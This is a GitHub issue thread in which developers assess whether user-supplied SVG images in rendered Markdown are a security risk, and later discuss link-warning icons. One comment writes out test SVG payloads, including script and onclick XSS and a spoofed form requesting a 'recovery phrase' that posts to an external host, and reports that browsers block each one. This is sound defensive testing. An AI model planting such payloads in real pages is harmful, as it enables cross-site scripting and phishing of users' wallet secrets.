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@gfanton gfanton commented Apr 15, 2025

Since )

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I tested 3 types of malicious SVG files:
a) xss
b) css emulating trusted UI
c) css interfering with trusted UI through positional abuse

attempts:

  1. xss using <script>:
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    alert('XSS from SVG!');
  </script>
</svg>

url-encoded:

<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Cscript%3E%0A%20%20%20%20alert%28%27XSS%20from%20SVG%21%27%29%3B%0A%20%20%3C%2Fscript%3E%0A%3C%2Fsvg%3E">

This will not be rendered in any major modern browsers, as they all block scripts inside SVGs when loaded via data: URLs, especially when used in an <img> tag.

  1. xss using onclick:
<svg xmlns="http://www.w3.org/2000/svg">
  <rect width="100" height="100" fill="red" onclick="alert('xss')" />
</svg>

url-encoded:

<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%20%20%3Crect%20width%3D%22100%22%20height%3D%22100%22%20fill%3D%22red%22%20onclick%3D%22alert%28%27xss%27%29%22%20%2F%3E%0A%3C%2Fsvg%3E">

Blocked for the same reason, although it's worth noting that if you opened the data: url directly in the browser you will get a popup.

  1. css emulating trusted UI:
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="200">
				  <style>
				    .form-container {
				      font-family: sans-serif;
				    }

				    .form-container input[type="text"] {
				      padding: 6px;
				      margin: 4px 0;
				      width: 90%;
				    }

				    .form-container input[type="submit"] {
				      padding: 6px 12px;
				      background-color: #007bff;
				      color: white;
				      border: none;
				      cursor: pointer;
				    }

				    .form-container input[type="submit"]:hover {
				      background-color: #0056b3;
				    }
				  </style>

				  <foreignObject x="10" y="10" width="380" height="180">
				    <div xmlns="http://www.w3.org/1999/xhtml" class="form-container">
				      <form method="POST" action="https://httpbin.org/post" target="_blank">
				        <label>Enter your recovery phrase:</label><br/>
				        <input type="text" name="user_input" /><br/>
				        <input type="submit" value="Submit" />
				      </form>
				    </div>
				  </foreignObject>
				</svg>

url-encoded:

<img src="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20width%3D%22400%22%20height%3D%22200%22%3E%0A%09%09%09%09%20%20%3Cstyle%3E%0A%09%09%09%09%20%20%20%20.form-container%20%7B%0A%09%09%09%09%20%20%20%20%20%20font-family%3A%20sans-serif%3B%0A%09%09%09%09%20%20%20%20%7D%0A%0A%09%09%09%09%20%20%20%20.form-container%20input%5Btype%3D%22text%22%5D%20%7B%0A%09%09%09%09%20%20%20%20%20%20padding%3A%206px%3B%0A%09%09%09%09%20%20%20%20%20%20margin%3A%204px%200%3B%0A%09%09%09%09%20%20%20%20%20%20width%3A%2090%25%3B%0A%09%09%09%09%20%20%20%20%7D%0A%0A%09%09%09%09%20%20%20%20.form-container%20input%5Btype%3D%22submit%22%5D%20%7B%0A%09%09%09%09%20%20%20%20%20%20padding%3A%206px%2012px%3B%0A%09%09%09%09%20%20%20%20%20%20background-color%3A%20%23007bff%3B%0A%09%09%09%09%20%20%20%20%20%20color%3A%20white%3B%0A%09%09%09%09%20%20%20%20%20%20border%3A%20none%3B%0A%09%09%09%09%20%20%20%20%20%20cursor%3A%20pointer%3B%0A%09%09%09%09%20%20%20%20%7D%0A%0A%09%09%09%09%20%20%20%20.form-container%20input%5Btype%3D%22submit%22%5D%3Ahover%20%7B%0A%09%09%09%09%20%20%20%20%20%20background-color%3A%20%230056b3%3B%0A%09%09%09%09%20%20%20%20%7D%0A%09%09%09%09%20%20%3C%2Fstyle%3E%0A%0A%09%09%09%09%20%20%3CforeignObject%20x%3D%2210%22%20y%3D%2210%22%20width%3D%22380%22%20height%3D%22180%22%3E%0A%09%09%09%09%20%20%20%20%3Cdiv%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxhtml%22%20class%3D%22form-container%22%3E%0A%09%09%09%09%20%20%20%20%20%20%3Cform%20method%3D%22POST%22%20action%3D%22https%3A%2F%2Fhttpbin.org%2Fpost%22%20target%3D%22_blank%22%3E%0A%09%09%09%09%20%20%20%20%20%20%20%20%3Clabel%3EEnter%20your%20recovery%20phrase%3A%3C%2Flabel%3E%3Cbr%2F%3E%0A%09%09%09%09%20%20%20%20%20%20%20%20%3Cinput%20type%3D%22text%22%20name%3D%22user_input%22%20%2F%3E%3Cbr%2F%3E%0A%09%09%09%09%20%20%20%20%20%20%20%20%3Cinput%20type%3D%22submit%22%20value%3D%22Submit%22%20%2F%3E%0A%09%09%09%09%20%20%20%20%20%20%3C%2Fform%3E%0A%09%09%09%09%20%20%20%20%3C%2Fdiv%3E%0A%09%09%09%09%20%20%3C%2FforeignObject%3E%0A%09%09%09%09%3C%2Fsvg%3E">

In the browser, this is rendered as a static image that can't be interacted with. <img> treats its source as a bitmap image, not as live, interactive DOM content. Even though the source is an SVG (which can contain forms or scripts), it's rendered in a sandboxed, non-interactive way. No scripting, form inputs, or even CSS interactivity (like hover effects) will work in this context.

  1. css position abuse:
				<div>This is a trusted area</div>
				<div>
					<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">
					  <style>
					    .top-left {
					      position: absolute;
					      top: 0;
					      left: 0;
					      font-family: sans-serif;
					      font-size: 20px;
					      background: rgba(255, 255, 255, 0.7);
					      padding: 8px;
					    }
					  </style>

					  <foreignObject x="0" y="0" width="100%" height="100%">
					    <div xmlns="http://www.w3.org/1999/xhtml" class="top-left">
					      Hello from the top-left corner!
					    </div>
					  </foreignObject>
					</svg>
				</div>

This text won't overlap, because modern browsers prevent this from positionally busting out of its intended location.

So we should be fine with all of the kinds of attacks, except perhaps in older browsers, which I don't think we should worry about.

SVGs have been used in 0day browser exploits, but so have other image formats, so I don't think they present a unique threat.

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thehowl commented Apr 18, 2025

Do we want to place any restrictions on animated SVGs? I'm wondering if these can be leveraged to mislead users. Example:

I'm figuring a case like an attack like re-creating the Adena UI in SVG and trying to trick the user; like the kind of ads that existed many years ago which would display a window in the same style as used by Windows. Though the fact is that our restrictions disable all kinds of interactivity, so I wonder what kind of attack could be created with a link?

Maybe one thing we should do, is that our current system to warn users about links using symbols, should become a warning modal when they click on an image which has a link. cc @alexiscolin (like "You are clicking on an (external|realm|...) link... do you want to do this?").

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kristovatlas commented Apr 18, 2025

I was about to show a screenshot of YouTube's redirect warning as an example, except they no longer warn people for all links. They have a youtube.com/redirect URL that you go to first, and then that usually automatically brings you to the external website. This is because they're doing some filtering for malicious links on the backend among other things, but we probably can't tackle that any time soon.

Edit: After a survey of various popular websites, it seems the redirect warning is kind of rare now. They're all doing some sort of backend scoring that results in most external links not prompting a warning. You will see on some sites like Wikipedia a little icon next to a link to an external link.

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All links within the rendered Markdown now include an icon (external, cross-realm, tx). The icon was previously broken when used with images, but I pushed a UI fix last week that places the link icon directly on the image.
You can check the screenshot here: #4181

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